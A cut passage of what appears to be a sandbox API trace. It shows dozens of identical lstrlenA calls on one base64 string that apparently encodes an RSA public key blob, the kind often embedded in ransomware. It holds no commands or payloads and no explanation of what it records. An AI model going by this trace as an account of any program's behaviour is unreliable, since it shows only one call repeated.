(lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQBjTZuCA+Tyzjrc5UW6Dj0BXm1aKb/aipPNmjvl5TQBKZaGmKsTEKFs220edgImD4INnXLPSJ2b+wC6W7R5OpqqNSYIcVckzAOQxIGVAuQXlXRMP3+MzjN3DrdF08ICG8vL6Ezv3R6okyLGTSc92mroK9d1CIyHuKL/wtP81gYESAk8ApQ9Oj7d188rASRvERJSKyfNJHQzd5q2m4PC0kLbfrj5pIg0I5Fg6Tzfov6OjNLjhueXms0TxuhG3HXc4URFnRVX7AU0rEruVzPaXNoPmEO/Pum7N5+ffYLCw6bgSlkllELpf6/aG9brt68hwLg4o7wnqEAENaZgXifxrL/G") returned 368 [0163.799] lstrlenA 